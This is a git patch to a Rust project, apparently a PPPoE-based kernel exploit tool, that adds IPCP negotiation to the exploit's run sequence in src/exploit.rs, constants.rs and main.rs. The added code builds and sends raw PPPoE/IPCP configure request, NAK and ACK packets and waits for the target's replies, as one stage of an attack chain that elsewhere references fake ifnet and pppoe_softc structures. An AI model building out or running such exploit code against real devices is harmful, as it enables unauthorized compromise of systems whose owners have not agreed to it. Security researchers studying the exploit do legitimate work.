From 9a3194b741b94409a4aa250d67db6e94b88e6513 Mon Sep 17 00:00:00 2001 From: FedeBuonco <34037265+fedebuonco@users.noreply.github.com> Date: Tue, 30 Jul 2024 22:54:16 +0100 Subject: [PATCH] Add IPCP Negotiation (#7) * Initial comments for negotiation * Add first request * Create lcp conf request * Finish LCP negotiation LCP done. * Add ipcp negotiation --- src/constants.rs | 10 +++ src/exploit.rs | 229 ++++++++++++++++++++++++++++++++++++++++++++++- src/main.rs | 4 + 3 files changed, 241 insertions(+), 2 deletions(-) diff --git a/src/constants.rs b/src/constants.rs index bdbc858..0619ea3 100644 --- a/src/constants.rs +++ b/src/constants.rs @@ -5,6 +5,7 @@ use std::f64::consts; pub const ETHERTYPE_PPPOEDISC: u16 = 0x8863; pub const ETHERTYPE_PPPOESESS: u16 = 0x8864; pub const ETHERTYPE_LCP: u16 = 0xc021; +pub const ETHERTYPE_IPCP: u16 = 0x8021; pub const PPPOE_CODE_PADI: u8 = 0x09; pub const PPPOE_CODE_PADR: u8 = 0x19; pub const PPPOE_CODE_PADO: u8 = 0x07; @@ -18,11 +19,20 @@ pub const PPPOE_TAG_HEADER_LEN: usize = 4; pub const PPPOE_SOFTC_SC_DEST: u64 = 0x24; pub const LCP_ID: u8 = 0x41; +pub const IPCP_ID: u8 = 0x41; pub const LCP_CONF_REQ: u8 = 1; pub const LCP_CONF_ACK: u8 = 2; pub const LCP_CONF_NAK: u8 = 3; pub const LCP_CONF_REJ: u8 = 4; +pub const IP_ADDRESS_TYPE: u8 = 3; +pub const IPCP_CONF_REQ: u8 = 1; +pub const IPCP_CONF_ACK: u8 = 2; +pub const IPCP_CONF_NAK: u8 = 3; +pub const SOURCE_IPV4: [u8; 4] = [0x29, 0x29, 0x29, 0x29]; +pub const TARGET_IPV4: [u8; 4] = [0x2A, 0x2A, 0x2A, 0x2A]; + + pub const PPPOE_TAG_HOST_UNIQ: u16 = 0x0103; pub const PPPOE_TAG_ACOOKIE: u16 = 0x0104; diff --git a/src/exploit.rs b/src/exploit.rs index 97e5f58..bd6dae5 100644 --- a/src/exploit.rs +++ b/src/exploit.rs @@ -206,13 +206,63 @@ impl Exploit { println!("[*] LCP Negotiation Done."); } - pub fn ipcp_negotiation(&mut self, interface: &NetworkInterface){ + pub fn ipcp_negotiation(&mut self, interface: &NetworkInterface) { + let (mut tx, mut rx) = match datalink::channel(&interface, Default::default()) { + Ok(Ethernet(tx, rx)) => (tx, rx), + Ok(_) => panic!("Unhandled channel type"), + Err(e) => panic!( + "An error occurred when creating the datalink channel: {}", + e + ), + }; // Send IPCP conf request + println!("[*] Sending IPCP configure request..."); + let lcp_configure = build_ipcp_conf_request( + self.source_mac, + self.target_mac, + 0x00, + constants::PPPOE_SESSION_ID.to_be_bytes(), + constants::SOURCE_IPV4, + ); + let _result = tx + .send_to(&lcp_configure, None) + .expect("[-] Failed to send IPCP configure req packet"); // wait for Rec conf ack + println!("[*] Waiting for IPCP configure ACK..."); + let _result = listen_for_packet(rx.as_mut(), is_ipcp_conf_ack); // wait for req conf + println!("[*] Waiting for IPCP configure request..."); + let _result = listen_for_packet(rx.as_mut(), is_ipcp_conf_req); // send nak - // wait for conf req + println!("[*] Sending IPCP configure NAK..."); + let lcp_configure = build_ipcp_conf_nak( + self.source_mac, + self.target_mac, + 0x00, + constants::PPPOE_SESSION_ID.to_be_bytes(), + constants::TARGET_IPV4, + ); + let _result = tx + .send_to(&lcp_configure, None) + .expect("[-] Failed to send IPCP configure NAK packet"); + // wait for req conf + println!("[*] Waiting for IPCP configure request..."); + let result = listen_for_packet(rx.as_mut(), is_ipcp_conf_req); + let options: Vec = Vec::from(&result.unwrap()[26..42]); // send conf ack + println!("[*] Sending IPCP configure ACK..."); + let lcp_configure = build_ipcp_conf_ack( + self.source_mac, + self.target_mac, + 0x00, + constants::PPPOE_SESSION_ID.to_be_bytes(), + constants::TARGET_IPV4, + options, + ); + let _result = tx + .send_to(&lcp_configure, None) + .expect("[-] Failed to send IPCP configure ACK packet"); + println!("[*] Finished IPCP Negotiation"); } pub fn handle_padi(&mut self, data: &[u8]) { @@ -229,6 +279,42 @@ impl Exploit { } } +fn is_ipcp_conf_req(data: &[u8]) -> bool { + // Check if packet length is sufficient for PPP header + if data.len() < 14 + 6 { + return false; + } + + // PPP IPCP + // Check Ethernet type field (0xc021) + let ethertype = u16::from_be_bytes([data[20], data[21]]); + if ethertype != constants::ETHERTYPE_IPCP { + return false; + } + + // PPP IPCP config ack + let code = u8::from_be_bytes([data[22]]); + code == constants::IPCP_CONF_REQ +} + +fn is_ipcp_conf_ack(data: &[u8]) -> bool { + // Check if packet length is sufficient for PPP header + if data.len() < 14 + 6 { + return false; + } + + // PPP IPCP + // Check Ethernet type field (0xc021) + let ethertype = u16::from_be_bytes([data[20], data[21]]); + if ethertype != constants::ETHERTYPE_IPCP { + return false; + } + + // PPP IPCP config ack + let code = u8::from_be_bytes([data[22]]); + code == constants::IPCP_CONF_ACK +} + fn is_lcp_conf_ack(data: &[u8]) -> bool { // Check if packet length is sufficient for PPP header if data.len() < 14 + 6 { @@ -392,6 +478,145 @@ pub fn build_fake_ifnet(pppoe_softc: u64) -> Vec { fake_ifnet } +pub fn build_ipcp_conf_ack( + source_mac: [u8; 6], + target_mac: [u8; 6], + session_data: u8, + session_id: [u8; 2], + ip_address: [u8; 4], + options: Vec, +) -> Vec { + let mut payload = Vec::new(); + + // PPPoE header + payload.push(0x11); // Version (1) and Type (1) + payload.push(session_data); + payload.extend_from_slice(&session_id); + + // Fixed length + payload.extend_from_slice(&[0, 24]); + + // PPP header + payload.extend_from_slice(&constants::ETHERTYPE_IPCP.to_be_bytes()); + + // IPCP and fixed length + payload.push(constants::IPCP_CONF_ACK); // Configuration ACK + payload.push(constants::IPCP_ID); + payload.extend_from_slice(&[0, 22]); + + // IP + payload.push(constants::IP_ADDRESS_TYPE); // Configuration Request + // Fixed length + payload.push(0x6); + payload.extend_from_slice(&ip_address); + + // OPTIONS + payload.extend_from_slice(&options); + + let packet = ether::Builder::default() + .source(source_mac.into()) + .unwrap() + .destination(target_mac.into()) + .unwrap() + .protocol(ether::Protocol::PppoeSession) + .unwrap() + .payload(&payload) + .unwrap() + .build() + .unwrap(); + packet +} + +pub fn build_ipcp_conf_nak( + source_mac: [u8; 6], + target_mac: [u8; 6], + session_data: u8, + session_id: [u8; 2], + ip_address: [u8; 4], +) -> Vec { + let mut payload = Vec::new(); + + // PPPoE header + payload.push(0x11); // Version (1) and Type (1) + payload.push(session_data); + payload.extend_from_slice(&session_id); + + // Fixed length + payload.extend_from_slice(&[0, 12]); + + // PPP header + payload.extend_from_slice(&constants::ETHERTYPE_IPCP.to_be_bytes()); + + // IPCP and fixed length + payload.push(constants::IPCP_CONF_NAK); // Configuration NAK + payload.push(constants::IPCP_ID); + payload.extend_from_slice(&[0, 10]); + + // IP + payload.push(constants::IP_ADDRESS_TYPE); // Configuration Request + // Fixed length + payload.push(0x6); + payload.extend_from_slice(&ip_address); + + let packet = ether::Builder::default() + .source(source_mac.into()) + .unwrap() + .destination(target_mac.into()) + .unwrap() + .protocol(ether::Protocol::PppoeSession) + .unwrap() + .payload(&payload) + .unwrap() + .build() + .unwrap(); + packet +} + +pub fn build_ipcp_conf_request( + source_mac: [u8; 6], + target_mac: [u8; 6], + session_data: u8, + session_id: [u8; 2], + ip_address: [u8; 4], +) -> Vec { + let mut payload = Vec::new(); + + // PPPoE header + payload.push(0x11); // Version (1) and Type (1) + payload.push(session_data); + payload.extend_from_slice(&session_id); + + // Fixed length + payload.extend_from_slice(&[0, 12]); + + // PPP header + payload.extend_from_slice(&constants::ETHERTYPE_IPCP.to_be_bytes()); + + // IPCP and fixed length + payload.push(constants::IPCP_CONF_REQ); // Configuration Request + payload.push(constants::IPCP_ID); + payload.extend_from_slice(&[0, 10]); + + // IP + payload.push(constants::IP_ADDRESS_TYPE); // Configuration Request + // Fixed length + payload.push(0x6); + payload.extend_from_slice(&ip_address); + + let packet = ether::Builder::default() + .source(source_mac.into()) + .unwrap() + .destination(target_mac.into()) + .unwrap() + .protocol(ether::Protocol::PppoeSession) + .unwrap() + .payload(&payload) + .unwrap() + .build() + .unwrap(); + packet +} + pub fn build_lcp_echo_reply( source_mac: [u8; 6], target_mac: [u8; 6], diff --git a/src/main.rs b/src/main.rs index 3c5bc8a..3e81f0e 100644 --- a/src/main.rs +++ b/src/main.rs @@ -35,10 +35,14 @@ fn run_exploit(interface_name: String) { let mut handler = exploit::LcpEchoHandler::new(&interface); handler.start(); // Initial negotiations + println!("[*] Starting Negotiations ..."); expl.ppp_negotiation(&interface); expl.lcp_negotiation(&interface); expl.ipcp_negotiation(&interface); + println!("[*] Initial Negotiations Done..."); + handler.stop(); + println!("[*] DONE!"); } fn main() {